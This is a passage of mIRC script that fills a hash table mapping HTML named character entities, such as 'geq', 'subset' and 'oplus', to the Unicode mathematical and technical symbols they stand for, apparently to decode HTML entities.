  4012.   hadd %h /^GreaterEqual$/1109 $chr($base(2265, 16, 10))
  4013.   hadd %h /^geq$/1110 $chr($base(2265, 16, 10))
  4014.   hadd %h /^nvge$/1111 $chr($base(2265, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4015.   hadd %h /^lE$/1112 $chr($base(2266, 16, 10))
  4016.   hadd %h /^LessFullEqual$/1113 $chr($base(2266, 16, 10))
  4017.   hadd %h /^leqq$/1114 $chr($base(2266, 16, 10))
  4018.   hadd %h /^nlE$/1115 $chr($base(2266, 16, 10)) $+ $chr($base(0338, 16, 10))
  4019.   hadd %h /^nleqq$/1116 $chr($base(2266, 16, 10)) $+ $chr($base(0338, 16, 10))
  4020.   hadd %h /^gE$/1117 $chr($base(2267, 16, 10))
  4021.   hadd %h /^GreaterFullEqual$/1118 $chr($base(2267, 16, 10))
  4022.   hadd %h /^geqq$/1119 $chr($base(2267, 16, 10))
  4023.   hadd %h /^ngE$/1120 $chr($base(2267, 16, 10)) $+ $chr($base(0338, 16, 10))
  4024.   hadd %h /^ngeqq$/1121 $chr($base(2267, 16, 10)) $+ $chr($base(0338, 16, 10))
  4025.   hadd %h /^NotGreaterFullEqual$/1122 $chr($base(2267, 16, 10)) $+ $chr($base(0338, 16, 10))
  4026.   hadd %h /^lnE$/1123 $chr($base(2268, 16, 10))
  4027.   hadd %h /^lneqq$/1124 $chr($base(2268, 16, 10))
  4028.   hadd %h /^lvnE$/1125 $chr($base(2268, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4029.   hadd %h /^lvertneqq$/1126 $chr($base(2268, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4030.   hadd %h /^gnE$/1127 $chr($base(2269, 16, 10))
  4031.   hadd %h /^gneqq$/1128 $chr($base(2269, 16, 10))
  4032.   hadd %h /^gvnE$/1129 $chr($base(2269, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4033.   hadd %h /^gvertneqq$/1130 $chr($base(2269, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4034.   hadd %h /^Lt$/1131 $chr($base(226A, 16, 10))
  4035.   hadd %h /^NestedLessLess$/1132 $chr($base(226A, 16, 10))
  4036.   hadd %h /^ll$/1133 $chr($base(226A, 16, 10))
  4037.   hadd %h /^nLtv$/1134 $chr($base(226A, 16, 10)) $+ $chr($base(0338, 16, 10))
  4038.   hadd %h /^NotLessLess$/1135 $chr($base(226A, 16, 10)) $+ $chr($base(0338, 16, 10))
  4039.   hadd %h /^nLt$/1136 $chr($base(226A, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4040.   hadd %h /^Gt$/1137 $chr($base(226B, 16, 10))
  4041.   hadd %h /^NestedGreaterGreater$/1138 $chr($base(226B, 16, 10))
  4042.   hadd %h /^gg$/1139 $chr($base(226B, 16, 10))
  4043.   hadd %h /^nGtv$/1140 $chr($base(226B, 16, 10)) $+ $chr($base(0338, 16, 10))
  4044.   hadd %h /^NotGreaterGreater$/1141 $chr($base(226B, 16, 10)) $+ $chr($base(0338, 16, 10))
  4045.   hadd %h /^nGt$/1142 $chr($base(226B, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4046.   hadd %h /^twixt$/1143 $chr($base(226C, 16, 10))
  4047.   hadd %h /^between$/1144 $chr($base(226C, 16, 10))
  4048.   hadd %h /^NotCupCap$/1145 $chr($base(226D, 16, 10))
  4049.   hadd %h /^nlt$/1146 $chr($base(226E, 16, 10))
  4050.   hadd %h /^NotLess$/1147 $chr($base(226E, 16, 10))
  4051.   hadd %h /^nless$/1148 $chr($base(226E, 16, 10))
  4052.   hadd %h /^ngt$/1149 $chr($base(226F, 16, 10))
  4053.   hadd %h /^NotGreater$/1150 $chr($base(226F, 16, 10))
  4054.   hadd %h /^ngtr$/1151 $chr($base(226F, 16, 10))
  4055.   hadd %h /^nle$/1152 $chr($base(2270, 16, 10))
  4056.   hadd %h /^NotLessEqual$/1153 $chr($base(2270, 16, 10))
  4057.   hadd %h /^nleq$/1154 $chr($base(2270, 16, 10))
  4058.   hadd %h /^nge$/1155 $chr($base(2271, 16, 10))
  4059.   hadd %h /^NotGreaterEqual$/1156 $chr($base(2271, 16, 10))
  4060.   hadd %h /^ngeq$/1157 $chr($base(2271, 16, 10))
  4061.   hadd %h /^lsim$/1158 $chr($base(2272, 16, 10))
  4062.   hadd %h /^LessTilde$/1159 $chr($base(2272, 16, 10))
  4063.   hadd %h /^lesssim$/1160 $chr($base(2272, 16, 10))
  4064.   hadd %h /^gsim$/1161 $chr($base(2273, 16, 10))
  4065.   hadd %h /^gtrsim$/1162 $chr($base(2273, 16, 10))
  4066.   hadd %h /^GreaterTilde$/1163 $chr($base(2273, 16, 10))
  4067.   hadd %h /^nlsim$/1164 $chr($base(2274, 16, 10))
  4068.   hadd %h /^NotLessTilde$/1165 $chr($base(2274, 16, 10))
  4069.   hadd %h /^ngsim$/1166 $chr($base(2275, 16, 10))
  4070.   hadd %h /^NotGreaterTilde$/1167 $chr($base(2275, 16, 10))
  4071.   hadd %h /^lg$/1168 $chr($base(2276, 16, 10))
  4072.   hadd %h /^lessgtr$/1169 $chr($base(2276, 16, 10))
  4073.   hadd %h /^LessGreater$/1170 $chr($base(2276, 16, 10))
  4074.   hadd %h /^gl$/1171 $chr($base(2277, 16, 10))
  4075.   hadd %h /^gtrless$/1172 $chr($base(2277, 16, 10))
  4076.   hadd %h /^GreaterLess$/1173 $chr($base(2277, 16, 10))
  4077.   hadd %h /^ntlg$/1174 $chr($base(2278, 16, 10))
  4078.   hadd %h /^NotLessGreater$/1175 $chr($base(2278, 16, 10))
  4079.   hadd %h /^ntgl$/1176 $chr($base(2279, 16, 10))
  4080.   hadd %h /^NotGreaterLess$/1177 $chr($base(2279, 16, 10))
  4081.   hadd %h /^pr$/1178 $chr($base(227A, 16, 10))
  4082.   hadd %h /^Precedes$/1179 $chr($base(227A, 16, 10))
  4083.   hadd %h /^prec$/1180 $chr($base(227A, 16, 10))
  4084.   hadd %h /^sc$/1181 $chr($base(227B, 16, 10))
  4085.   hadd %h /^Succeeds$/1182 $chr($base(227B, 16, 10))
  4086.   hadd %h /^succ$/1183 $chr($base(227B, 16, 10))
  4087.   hadd %h /^prcue$/1184 $chr($base(227C, 16, 10))
  4088.   hadd %h /^PrecedesSlantEqual$/1185 $chr($base(227C, 16, 10))
  4089.   hadd %h /^preccurlyeq$/1186 $chr($base(227C, 16, 10))
  4090.   hadd %h /^sccue$/1187 $chr($base(227D, 16, 10))
  4091.   hadd %h /^SucceedsSlantEqual$/1188 $chr($base(227D, 16, 10))
  4092.   hadd %h /^succcurlyeq$/1189 $chr($base(227D, 16, 10))
  4093.   hadd %h /^prsim$/1190 $chr($base(227E, 16, 10))
  4094.   hadd %h /^precsim$/1191 $chr($base(227E, 16, 10))
  4095.   hadd %h /^PrecedesTilde$/1192 $chr($base(227E, 16, 10))
  4096.   hadd %h /^scsim$/1193 $chr($base(227F, 16, 10))
  4097.   hadd %h /^succsim$/1194 $chr($base(227F, 16, 10))
  4098.   hadd %h /^SucceedsTilde$/1195 $chr($base(227F, 16, 10))
  4099.   hadd %h /^NotSucceedsTilde$/1196 $chr($base(227F, 16, 10)) $+ $chr($base(0338, 16, 10))
  4100.   hadd %h /^npr$/1197 $chr($base(2280, 16, 10))
  4101.   hadd %h /^nprec$/1198 $chr($base(2280, 16, 10))
  4102.   hadd %h /^NotPrecedes$/1199 $chr($base(2280, 16, 10))
  4103.   hadd %h /^nsc$/1200 $chr($base(2281, 16, 10))
  4104.   hadd %h /^nsucc$/1201 $chr($base(2281, 16, 10))
  4105.   hadd %h /^NotSucceeds$/1202 $chr($base(2281, 16, 10))
  4106.   hadd %h /^sub$/1203 $chr($base(2282, 16, 10))
  4107.   hadd %h /^subset$/1204 $chr($base(2282, 16, 10))
  4108.   hadd %h /^vnsub$/1205 $chr($base(2282, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4109.   hadd %h /^nsubset$/1206 $chr($base(2282, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4110.   hadd %h /^NotSubset$/1207 $chr($base(2282, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4111.   hadd %h /^sup$/1208 $chr($base(2283, 16, 10))
  4112.   hadd %h /^supset$/1209 $chr($base(2283, 16, 10))
  4113.   hadd %h /^Superset$/1210 $chr($base(2283, 16, 10))
  4114.   hadd %h /^vnsup$/1211 $chr($base(2283, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4115.   hadd %h /^nsupset$/1212 $chr($base(2283, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4116.   hadd %h /^NotSuperset$/1213 $chr($base(2283, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4117.   hadd %h /^nsub$/1214 $chr($base(2284, 16, 10))
  4118.   hadd %h /^nsup$/1215 $chr($base(2285, 16, 10))
  4119.   hadd %h /^sube$/1216 $chr($base(2286, 16, 10))
  4120.   hadd %h /^SubsetEqual$/1217 $chr($base(2286, 16, 10))
  4121.   hadd %h /^subseteq$/1218 $chr($base(2286, 16, 10))
  4122.   hadd %h /^supe$/1219 $chr($base(2287, 16, 10))
  4123.   hadd %h /^supseteq$/1220 $chr($base(2287, 16, 10))
  4124.   hadd %h /^SupersetEqual$/1221 $chr($base(2287, 16, 10))
  4125.   hadd %h /^nsube$/1222 $chr($base(2288, 16, 10))
  4126.   hadd %h /^nsubseteq$/1223 $chr($base(2288, 16, 10))
  4127.   hadd %h /^NotSubsetEqual$/1224 $chr($base(2288, 16, 10))
  4128.   hadd %h /^nsupe$/1225 $chr($base(2289, 16, 10))
  4129.   hadd %h /^nsupseteq$/1226 $chr($base(2289, 16, 10))
  4130.   hadd %h /^NotSupersetEqual$/1227 $chr($base(2289, 16, 10))
  4131.   hadd %h /^subne$/1228 $chr($base(228A, 16, 10))
  4132.   hadd %h /^subsetneq$/1229 $chr($base(228A, 16, 10))
  4133.   hadd %h /^vsubne$/1230 $chr($base(228A, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4134.   hadd %h /^varsubsetneq$/1231 $chr($base(228A, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4135.   hadd %h /^supne$/1232 $chr($base(228B, 16, 10))
  4136.   hadd %h /^supsetneq$/1233 $chr($base(228B, 16, 10))
  4137.   hadd %h /^vsupne$/1234 $chr($base(228B, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4138.   hadd %h /^varsupsetneq$/1235 $chr($base(228B, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4139.   hadd %h /^cupdot$/1236 $chr($base(228D, 16, 10))
  4140.   hadd %h /^uplus$/1237 $chr($base(228E, 16, 10))
  4141.   hadd %h /^UnionPlus$/1238 $chr($base(228E, 16, 10))
  4142.   hadd %h /^sqsub$/1239 $chr($base(228F, 16, 10))
  4143.   hadd %h /^SquareSubset$/1240 $chr($base(228F, 16, 10))
  4144.   hadd %h /^sqsubset$/1241 $chr($base(228F, 16, 10))
  4145.   hadd %h /^NotSquareSubset$/1242 $chr($base(228F, 16, 10)) $+ $chr($base(0338, 16, 10))
  4146.   hadd %h /^sqsup$/1243 $chr($base(2290, 16, 10))
  4147.   hadd %h /^SquareSuperset$/1244 $chr($base(2290, 16, 10))
  4148.   hadd %h /^sqsupset$/1245 $chr($base(2290, 16, 10))
  4149.   hadd %h /^NotSquareSuperset$/1246 $chr($base(2290, 16, 10)) $+ $chr($base(0338, 16, 10))
  4150.   hadd %h /^sqsube$/1247 $chr($base(2291, 16, 10))
  4151.   hadd %h /^SquareSubsetEqual$/1248 $chr($base(2291, 16, 10))
  4152.   hadd %h /^sqsubseteq$/1249 $chr($base(2291, 16, 10))
  4153.   hadd %h /^sqsupe$/1250 $chr($base(2292, 16, 10))
  4154.   hadd %h /^SquareSupersetEqual$/1251 $chr($base(2292, 16, 10))
  4155.   hadd %h /^sqsupseteq$/1252 $chr($base(2292, 16, 10))
  4156.   hadd %h /^sqcap$/1253 $chr($base(2293, 16, 10))
  4157.   hadd %h /^SquareIntersection$/1254 $chr($base(2293, 16, 10))
  4158.   hadd %h /^sqcaps$/1255 $chr($base(2293, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4159.   hadd %h /^sqcup$/1256 $chr($base(2294, 16, 10))
  4160.   hadd %h /^SquareUnion$/1257 $chr($base(2294, 16, 10))
  4161.   hadd %h /^sqcups$/1258 $chr($base(2294, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4162.   hadd %h /^oplus$/1259 $chr($base(2295, 16, 10))
  4163.   hadd %h /^CirclePlus$/1260 $chr($base(2295, 16, 10))
  4164.   hadd %h /^ominus$/1261 $chr($base(2296, 16, 10))
  4165.   hadd %h /^CircleMinus$/1262 $chr($base(2296, 16, 10))
  4166.   hadd %h /^otimes$/1263 $chr($base(2297, 16, 10))
  4167.   hadd %h /^CircleTimes$/1264 $chr($base(2297, 16, 10))
  4168.   hadd %h /^osol$/1265 $chr($base(2298, 16, 10))
  4169.   hadd %h /^odot$/1266 $chr($base(2299, 16, 10))
  4170.   hadd %h /^CircleDot$/1267 $chr($base(2299, 16, 10))
  4171.   hadd %h /^ocir$/1268 $chr($base(229A, 16, 10))
  4172.   hadd %h /^circledcirc$/1269 $chr($base(229A, 16, 10))
  4173.   hadd %h /^oast$/1270 $chr($base(229B, 16, 10))
  4174.   hadd %h /^circledast$/1271 $chr($base(229B, 16, 10))
  4175.   hadd %h /^odash$/1272 $chr($base(229D, 16, 10))
  4176.   hadd %h /^circleddash$/1273 $chr($base(229D, 16, 10))
  4177.   hadd %h /^plusb$/1274 $chr($base(229E, 16, 10))
  4178.   hadd %h /^boxplus$/1275 $chr($base(229E, 16, 10))
  4179.   hadd %h /^minusb$/1276 $chr($base(229F, 16, 10))
  4180.   hadd %h /^boxminus$/1277 $chr($base(229F, 16, 10))
  4181.   hadd %h /^timesb$/1278 $chr($base(22A0, 16, 10))
  4182.   hadd %h /^boxtimes$/1279 $chr($base(22A0, 16, 10))
  4183.   hadd %h /^sdotb$/1280 $chr($base(22A1, 16, 10))
  4184.   hadd %h /^dotsquare$/1281 $chr($base(22A1, 16, 10))
  4185.   hadd %h /^vdash$/1282 $chr($base(22A2, 16, 10))
  4186.   hadd %h /^RightTee$/1283 $chr($base(22A2, 16, 10))
  4187.   hadd %h /^dashv$/1284 $chr($base(22A3, 16, 10))
  4188.   hadd %h /^LeftTee$/1285 $chr($base(22A3, 16, 10))
  4189.   hadd %h /^top$/1286 $chr($base(22A4, 16, 10))
  4190.   hadd %h /^DownTee$/1287 $chr($base(22A4, 16, 10))
  4191.   hadd %h /^bottom$/1288 $chr($base(22A5, 16, 10))
  4192.   hadd %h /^bot$/1289 $chr($base(22A5, 16, 10))
  4193.   hadd %h /^perp$/1290 $chr($base(22A5, 16, 10))
  4194.   hadd %h /^UpTee$/1291 $chr($base(22A5, 16, 10))
  4195.   hadd %h /^models$/1292 $chr($base(22A7, 16, 10))
  4196.   hadd %h /^vDash$/1293 $chr($base(22A8, 16, 10))
  4197.   hadd %h /^DoubleRightTee$/1294 $chr($base(22A8, 16, 10))
  4198.   hadd %h /^Vdash$/1295 $chr($base(22A9, 16, 10))
  4199.   hadd %h /^Vvdash$/1296 $chr($base(22AA, 16, 10))
  4200.   hadd %h /^VDash$/1297 $chr($base(22AB, 16, 10))
  4201.   hadd %h /^nvdash$/1298 $chr($base(22AC, 16, 10))
  4202.   hadd %h /^nvDash$/1299 $chr($base(22AD, 16, 10))
  4203.   hadd %h /^nVdash$/1300 $chr($base(22AE, 16, 10))
  4204.   hadd %h /^nVDash$/1301 $chr($base(22AF, 16, 10))
  4205.   hadd %h /^prurel$/1302 $chr($base(22B0, 16, 10))
  4206.   hadd %h /^vltri$/1303 $chr($base(22B2, 16, 10))
  4207.   hadd %h /^vartriangleleft$/1304 $chr($base(22B2, 16, 10))
  4208.   hadd %h /^LeftTriangle$/1305 $chr($base(22B2, 16, 10))
  4209.   hadd %h /^vrtri$/1306 $chr($base(22B3, 16, 10))
  4210.   hadd %h /^vartriangleright$/1307 $chr($base(22B3, 16, 10))
  4211.   hadd %h /^RightTriangle$/1308 $chr($base(22B3, 16, 10))
  4212.   hadd %h /^ltrie$/1309 $chr($base(22B4, 16, 10))
  4213.   hadd %h /^trianglelefteq$/1310 $chr($base(22B4, 16, 10))
  4214.   hadd %h /^LeftTriangleEqual$/1311 $chr($base(22B4, 16, 10))
  4215.   hadd %h /^nvltrie$/1312 $chr($base(22B4, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4216.   hadd %h /^rtrie$/1313 $chr($base(22B5, 16, 10))
  4217.   hadd %h /^trianglerighteq$/1314 $chr($base(22B5, 16, 10))
  4218.   hadd %h /^RightTriangleEqual$/1315 $chr($base(22B5, 16, 10))
  4219.   hadd %h /^nvrtrie$/1316 $chr($base(22B5, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4220.   hadd %h /^origof$/1317 $chr($base(22B6, 16, 10))
  4221.   hadd %h /^imof$/1318 $chr($base(22B7, 16, 10))
  4222.   hadd %h /^mumap$/1319 $chr($base(22B8, 16, 10))
  4223.   hadd %h /^multimap$/1320 $chr($base(22B8, 16, 10))
  4224.   hadd %h /^hercon$/1321 $chr($base(22B9, 16, 10))
  4225.   hadd %h /^intcal$/1322 $chr($base(22BA, 16, 10))
  4226.   hadd %h /^intercal$/1323 $chr($base(22BA, 16, 10))
  4227.   hadd %h /^veebar$/1324 $chr($base(22BB, 16, 10))
  4228.   hadd %h /^barvee$/1325 $chr($base(22BD, 16, 10))
  4229.   hadd %h /^angrtvb$/1326 $chr($base(22BE, 16, 10))
  4230.   hadd %h /^lrtri$/1327 $chr($base(22BF, 16, 10))
  4231.   hadd %h /^xwedge$/1328 $chr($base(22C0, 16, 10))
  4232.   hadd %h /^Wedge$/1329 $chr($base(22C0, 16, 10))
  4233.   hadd %h /^bigwedge$/1330 $chr($base(22C0, 16, 10))
  4234.   hadd %h /^xvee$/1331 $chr($base(22C1, 16, 10))
  4235.   hadd %h /^Vee$/1332 $chr($base(22C1, 16, 10))
  4236.   hadd %h /^bigvee$/1333 $chr($base(22C1, 16, 10))
  4237.   hadd %h /^xcap$/1334 $chr($base(22C2, 16, 10))
  4238.   hadd %h /^Intersection$/1335 $chr($base(22C2, 16, 10))
  4239.   hadd %h /^bigcap$/1336 $chr($base(22C2, 16, 10))
  4240.   hadd %h /^xcup$/1337 $chr($base(22C3, 16, 10))
  4241.   hadd %h /^Union$/1338 $chr($base(22C3, 16, 10))
  4242.   hadd %h /^bigcup$/1339 $chr($base(22C3, 16, 10))
  4243.   hadd %h /^diam$/1340 $chr($base(22C4, 16, 10))
  4244.   hadd %h /^diamond$/1341 $chr($base(22C4, 16, 10))
  4245.   hadd %h /^Diamond$/1342 $chr($base(22C4, 16, 10))
  4246.   hadd %h /^sdot$/1343 $chr($base(22C5, 16, 10))
  4247.   hadd %h /^sstarf$/1344 $chr($base(22C6, 16, 10))
  4248.   hadd %h /^Star$/1345 $chr($base(22C6, 16, 10))
  4249.   hadd %h /^divonx$/1346 $chr($base(22C7, 16, 10))
  4250.   hadd %h /^divideontimes$/1347 $chr($base(22C7, 16, 10))
  4251.   hadd %h /^bowtie$/1348 $chr($base(22C8, 16, 10))
  4252.   hadd %h /^ltimes$/1349 $chr($base(22C9, 16, 10))
  4253.   hadd %h /^rtimes$/1350 $chr($base(22CA, 16, 10))
  4254.   hadd %h /^lthree$/1351 $chr($base(22CB, 16, 10))
  4255.   hadd %h /^leftthreetimes$/1352 $chr($base(22CB, 16, 10))
  4256.   hadd %h /^rthree$/1353 $chr($base(22CC, 16, 10))
  4257.   hadd %h /^rightthreetimes$/1354 $chr($base(22CC, 16, 10))
  4258.   hadd %h /^bsime$/1355 $chr($base(22CD, 16, 10))
  4259.   hadd %h /^backsimeq$/1356 $chr($base(22CD, 16, 10))
  4260.   hadd %h /^cuvee$/1357 $chr($base(22CE, 16, 10))
  4261.   hadd %h /^curlyvee$/1358 $chr($base(22CE, 16, 10))
  4262.   hadd %h /^cuwed$/1359 $chr($base(22CF, 16, 10))
  4263.   hadd %h /^curlywedge$/1360 $chr($base(22CF, 16, 10))
  4264.   hadd %h /^Sub$/1361 $chr($base(22D0, 16, 10))
  4265.   hadd %h /^Subset$/1362 $chr($base(22D0, 16, 10))
  4266.   hadd %h /^Sup$/1363 $chr($base(22D1, 16, 10))
  4267.   hadd %h /^Supset$/1364 $chr($base(22D1, 16, 10))
  4268.   hadd %h /^Cap$/1365 $chr($base(22D2, 16, 10))
  4269.   hadd %h /^Cup$/1366 $chr($base(22D3, 16, 10))
  4270.   hadd %h /^fork$/1367 $chr($base(22D4, 16, 10))
  4271.   hadd %h /^pitchfork$/1368 $chr($base(22D4, 16, 10))
  4272.   hadd %h /^epar$/1369 $chr($base(22D5, 16, 10))
  4273.   hadd %h /^ltdot$/1370 $chr($base(22D6, 16, 10))
  4274.   hadd %h /^lessdot$/1371 $chr($base(22D6, 16, 10))
  4275.   hadd %h /^gtdot$/1372 $chr($base(22D7, 16, 10))
  4276.   hadd %h /^gtrdot$/1373 $chr($base(22D7, 16, 10))
  4277.   hadd %h /^Ll$/1374 $chr($base(22D8, 16, 10))
  4278.   hadd %h /^nLl$/1375 $chr($base(22D8, 16, 10)) $+ $chr($base(0338, 16, 10))
  4279.   hadd %h /^Gg$/1376 $chr($base(22D9, 16, 10))
  4280.   hadd %h /^ggg$/1377 $chr($base(22D9, 16, 10))
  4281.   hadd %h /^nGg$/1378 $chr($base(22D9, 16, 10)) $+ $chr($base(0338, 16, 10))
  4282.   hadd %h /^leg$/1379 $chr($base(22DA, 16, 10))
  4283.   hadd %h /^LessEqualGreater$/1380 $chr($base(22DA, 16, 10))
  4284.   hadd %h /^lesseqgtr$/1381 $chr($base(22DA, 16, 10))
  4285.   hadd %h /^lesg$/1382 $chr($base(22DA, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4286.   hadd %h /^gel$/1383 $chr($base(22DB, 16, 10))
  4287.   hadd %h /^gtreqless$/1384 $chr($base(22DB, 16, 10))
  4288.   hadd %h /^GreaterEqualLess$/1385 $chr($base(22DB, 16, 10))
  4289.   hadd %h /^gesl$/1386 $chr($base(22DB, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4290.   hadd %h /^cuepr$/1387 $chr($base(22DE, 16, 10))
  4291.   hadd %h /^curlyeqprec$/1388 $chr($base(22DE, 16, 10))
  4292.   hadd %h /^cuesc$/1389 $chr($base(22DF, 16, 10))
  4293.   hadd %h /^curlyeqsucc$/1390 $chr($base(22DF, 16, 10))
  4294.   hadd %h /^nprcue$/1391 $chr($base(22E0, 16, 10))
  4295.   hadd %h /^NotPrecedesSlantEqual$/1392 $chr($base(22E0, 16, 10))
  4296.   hadd %h /^nsccue$/1393 $chr($base(22E1, 16, 10))
  4297.   hadd %h /^NotSucceedsSlantEqual$/1394 $chr($base(22E1, 16, 10))
  4298.   hadd %h /^nsqsube$/1395 $chr($base(22E2, 16, 10))
  4299.   hadd %h /^NotSquareSubsetEqual$/1396 $chr($base(22E2, 16, 10))
  4300.   hadd %h /^nsqsupe$/1397 $chr($base(22E3, 16, 10))
  4301.   hadd %h /^NotSquareSupersetEqual$/1398 $chr($base(22E3, 16, 10))
  4302.   hadd %h /^lnsim$/1399 $chr($base(22E6, 16, 10))
  4303.   hadd %h /^gnsim$/1400 $chr($base(22E7, 16, 10))
  4304.   hadd %h /^prnsim$/1401 $chr($base(22E8, 16, 10))
  4305.   hadd %h /^precnsim$/1402 $chr($base(22E8, 16, 10))
  4306.   hadd %h /^scnsim$/1403 $chr($base(22E9, 16, 10))
  4307.   hadd %h /^succnsim$/1404 $chr($base(22E9, 16, 10))
  4308.   hadd %h /^nltri$/1405 $chr($base(22EA, 16, 10))
  4309.   hadd %h /^ntriangleleft$/1406 $chr($base(22EA, 16, 10))
  4310.   hadd %h /^NotLeftTriangle$/1407 $chr($base(22EA, 16, 10))
  4311.   hadd %h /^nrtri$/1408 $chr($base(22EB, 16, 10))
  4312.   hadd %h /^ntriangleright$/1409 $chr($base(22EB, 16, 10))
  4313.   hadd %h /^NotRightTriangle$/1410 $chr($base(22EB, 16, 10))
  4314.   hadd %h /^nltrie$/1411 $chr($base(22EC, 16, 10))
  4315.   hadd %h /^ntrianglelefteq$/1412 $chr($base(22EC, 16, 10))
  4316.   hadd %h /^NotLeftTriangleEqual$/1413 $chr($base(22EC, 16, 10))
  4317.   hadd %h /^nrtrie$/1414 $chr($base(22ED, 16, 10))
  4318.   hadd %h /^ntrianglerighteq$/1415 $chr($base(22ED, 16, 10))
  4319.   hadd %h /^NotRightTriangleEqual$/1416 $chr($base(22ED, 16, 10))
  4320.   hadd %h /^vellip$/1417 $chr($base(22EE, 16, 10))
  4321.   hadd %h /^ctdot$/1418 $chr($base(22EF, 16, 10))
  4322.   hadd %h /^utdot$/1419 $chr($base(22F0, 16, 10))
  4323.   hadd %h /^dtdot$/1420 $chr($base(22F1, 16, 10))
  4324.   hadd %h /^disin$/1421 $chr($base(22F2, 16, 10))
  4325.   hadd %h /^isinsv$/1422 $chr($base(22F3, 16, 10))
  4326.   hadd %h /^isins$/1423 $chr($base(22F4, 16, 10))
  4327.   hadd %h /^isindot$/1424 $chr($base(22F5, 16, 10))
  4328.   hadd %h /^notindot$/1425 $chr($base(22F5, 16, 10)) $+ $chr($base(0338, 16, 10))
  4329.   hadd %h /^notinvc$/1426 $chr($base(22F6, 16, 10))
  4330.   hadd %h /^notinvb$/1427 $chr($base(22F7, 16, 10))
  4331.   hadd %h /^isinE$/1428 $chr($base(22F9, 16, 10))
  4332.   hadd %h /^notinE$/1429 $chr($base(22F9, 16, 10)) $+ $chr($base(0338, 16, 10))
  4333.   hadd %h /^nisd$/1430 $chr($base(22FA, 16, 10))
  4334.   hadd %h /^xnis$/1431 $chr($base(22FB, 16, 10))
  4335.   hadd %h /^nis$/1432 $chr($base(22FC, 16, 10))
  4336.   hadd %h /^notnivc$/1433 $chr($base(22FD, 16, 10))
  4337.   hadd %h /^notnivb$/1434 $chr($base(22FE, 16, 10))
  4338.   hadd %h /^barwed$/1435 $chr($base(2305, 16, 10))
  4339.   hadd %h /^barwedge$/1436 $chr($base(2305, 16, 10))
  4340.   hadd %h /^Barwed$/1437 $chr($base(2306, 16, 10))
  4341.   hadd %h /^doublebarwedge$/1438 $chr($base(2306, 16, 10))
  4342.   hadd %h /^lceil$/1439 $chr($base(2308, 16, 10))
  4343.   hadd %h /^LeftCeiling$/1440 $chr($base(2308, 16, 10))
  4344.   hadd %h /^rceil$/1441 $chr($base(2309, 16, 10))
  4345.   hadd %h /^RightCeiling$/1442 $chr($base(2309, 16, 10))
  4346.   hadd %h /^lfloor$/1443 $chr($base(230A, 16, 10))
  4347.   hadd %h /^LeftFloor$/1444 $chr($base(230A, 16, 10))
  4348.   hadd %h /^rfloor$/1445 $chr($base(230B, 16, 10))
  4349.   hadd %h /^RightFloor$/1446 $chr($base(230B, 16, 10))
  4350.   hadd %h /^drcrop$/1447 $chr($base(230C, 16, 10))
  4351.   hadd %h /^dlcrop$/1448 $chr($base(230D, 16, 10))
  4352.   hadd %h /^urcrop$/1449 $chr($base(230E, 16, 10))
  4353.   hadd %h /^ulcrop$/1450 $chr($base(230F, 16, 10))
  4354.   hadd %h /^bnot$/1451 $chr($base(2310, 16, 10))
  4355.   hadd %h /^profline$/1452 $chr($base(2312, 16, 10))
  4356.   hadd %h /^profsurf$/1453 $chr($base(2313, 16, 10))
  4357.   hadd %h /^telrec$/1454 $chr($base(2315, 16, 10))
  4358.   hadd %h /^target$/1455 $chr($base(2316, 16, 10))
  4359.   hadd %h /^ulcorn$/1456 $chr($base(231C, 16, 10))
  4360.   hadd %h /^ulcorner$/1457 $chr($base(231C, 16, 10))
  4361.   hadd %h /^urcorn$/1458 $chr($base(231D, 16, 10))
  4362.   hadd %h /^urcorner$/1459 $chr($base(231D, 16, 10))
  4363.   hadd %h /^dlcorn$/1460 $chr($base(231E, 16, 10))
  4364.   hadd %h /^llcorner$/1461 $chr($base(231E, 16, 10))
  4365.   hadd %h /^drcorn$/1462 $chr($base(231F, 16, 10))
  4366.   hadd %h /^lrcorner$/1463 $chr($base(231F, 16, 10))
  4367.   hadd %h /^frown$/1464 $chr($base(2322, 16, 10))
  4368.   hadd %h /^sfrown$/1465 $chr($base(2322, 16, 10))
  4369.   hadd %h /^smile$/1466 $chr($base(2323, 16, 10))
  4370.   hadd %h /^ssmile$/1467 $chr($base(2323, 16, 10))
  4371.   hadd %h /^cylcty$/1468 $chr($base(232D, 16, 10))
  4372.   hadd %h /^profalar$/1469 $chr($base(232E, 16, 10))
  4373.   hadd %h /^topbot$/1470 $chr($base(2336, 16, 10))
  4374.   hadd %h /^ovbar$/1471 $chr($base(233D, 16, 10))
  4375.   hadd %h /^solbar$/1472 $chr($base(233F, 16, 10))
  4376.   hadd %h /^angzarr$/1473 $chr($base(237C, 16, 10))
  4377.   hadd %h /^lmoust$/1474 $chr($base(23B0, 16, 10))
  4378.   hadd %h /^lmoustache$/1475 $chr($base(23B0, 16, 10))
  4379.   hadd %h /^rmoust$/1476 $chr($base(23B1, 16, 10))
  4380.   hadd %h /^rmoustache$/1477 $chr($base(23B1, 16, 10))
  4381.   hadd %h /^tbrk$/1478 $chr($base(23B4, 16, 10))
  4382.   hadd %h /^OverBracket$/1479 $chr($base(23B4, 16, 10))
  4383.   hadd %h /^bbrk$/1480 $chr($base(23B5, 16, 10))
  4384.   hadd %h /^UnderBracket$/1481 $chr($base(23B5, 16, 10))
  4385.   hadd %h /^bbrktbrk$/1482 $chr($base(23B6, 16, 10))
  4386.   hadd %h /^OverParenthesis$/1483 $chr($base(23DC, 16, 10))
